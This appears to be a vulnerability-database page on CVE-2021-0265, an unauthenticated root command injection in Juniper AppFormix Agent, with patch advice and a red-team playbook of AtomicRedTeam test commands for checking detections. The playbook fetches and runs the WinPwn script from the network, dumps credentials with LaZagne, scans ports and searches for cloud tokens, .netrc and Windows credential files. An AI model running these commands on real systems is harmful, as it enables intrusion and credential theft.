CVE-2021-0265
Overview
This vulnerability is a command injection flaw (CWE-78) rooted in the lack of input validation on a REST API endpoint within the AppFormix Agent component of Juniper Networks AppFormix. The affected feature improperly processes attacker-supplied input in API requests, enabling execution of arbitrary shell commands on the host system running the agent. The flaw specifically resides in an unvalidated REST API interface that fails to sanitize parameters before command execution.
Vulnerability Description
An unvalidated REST API in the AppFormix Agent of Juniper Networks AppFormix allows an unauthenticated remote attacker to execute commands as root on the host running the AppFormix Agent, when certain preconditions are performed by the attacker, thus granting the attacker full control over the environment. This issue affects: Juniper Networks AppFormix 3 versions prior to 3.1.22, 3.2.14, 3.3.0.
Impact
An unauthenticated attacker with network access can execute arbitrary commands as root on the host running the AppFormix Agent, resulting in full system compromise and control over the affected environment. This includes potential data exfiltration, service disruption, and lateral movement within the network. The CVSS vector (AV:N/AC:H/PR:N/UI:N) indicates network attack with high complexity but no privileges or user interaction required, amplifying the severity of the impact.
Solution
Juniper Networks recommends upgrading affected AppFormix versions to 3.1.22, 3.2.14, or 3.3.0 or later, as detailed in advisory JSA11156 (https://kb.juniper.net/JSA11156). These versions include patches that properly validate and authenticate REST API requests to mitigate command injection. Users are advised to apply these updates promptly and follow the vendor's patching instructions to secure the AppFormix Agent component.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the AppFormix Agent of Juniper Networks is characterized by an unvalidated REST API that allows unauthenticated remote attackers to execute commands with root privileges on the host system. This flaw arises from insufficient input validation in the API, which fails to authenticate requests properly. As a result, attackers can exploit this weakness by sending crafted requests to the API, potentially leading to arbitrary command execution. The affected versions of the AppFormix Agent include those prior to 3.1.22, 3.2.14, and 3.3.0, making it crucial for users of these versions to understand the implications of this vulnerability.
Attack vectors for this vulnerability are straightforward, as they primarily involve sending specially crafted HTTP requests to the unprotected REST API endpoint. An attacker could leverage tools such as cURL or custom scripts to interact with the API, bypassing authentication mechanisms entirely. Once the attacker gains access, they can execute arbitrary commands on the host, which could include installing malware, exfiltrating sensitive data, or altering system configurations to facilitate further attacks. Exploitation scenarios could range from targeted attacks against specific organizations to broader campaigns aimed at exploiting multiple instances of the AppFormix Agent across various environments.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Juniper Networks’ AppFormix for cloud management and performance monitoring. Successful exploitation could lead to complete system compromise, allowing attackers to manipulate critical infrastructure and access sensitive information. The business risks associated with this vulnerability include potential data breaches, loss of customer trust, regulatory penalties, and substantial financial losses due to downtime or remediation efforts. Moreover, the ability for attackers to execute commands as root raises the stakes, as they could potentially pivot to other systems within the network, expanding the scope of the attack.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the AppFormix Agent to the latest versions that address this flaw is essential. Additionally, organizations should employ network segmentation to limit the exposure of the REST API to only trusted sources, thereby reducing the attack surface. Implementing web application firewalls (WAFs) can also help filter and monitor incoming traffic to the API, blocking malicious requests before they reach the vulnerable endpoint. Furthermore, continuous monitoring and logging of API access can aid in identifying suspicious activities, allowing for prompt incident response.
In conclusion, the unvalidated REST API vulnerability in the AppFormix Agent presents a critical security risk that can lead to severe consequences for affected organizations. Understanding the technical details, potential attack vectors, and real-world impacts is vital for cybersecurity professionals tasked with safeguarding their environments. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk exposure and protect their assets from exploitation.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Juniper | Appformix | All |
cpe:2.3:a:juniper:appformix:*:*:*:*:*:*:*:*
|
|
|
Juniper | Appformix | All |
cpe:2.3:a:juniper:appformix:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-0265 |
| kb.juniper.net |
GitHub CVE
x_refsource_MISC
|
https://kb.juniper.net/JSA11156 |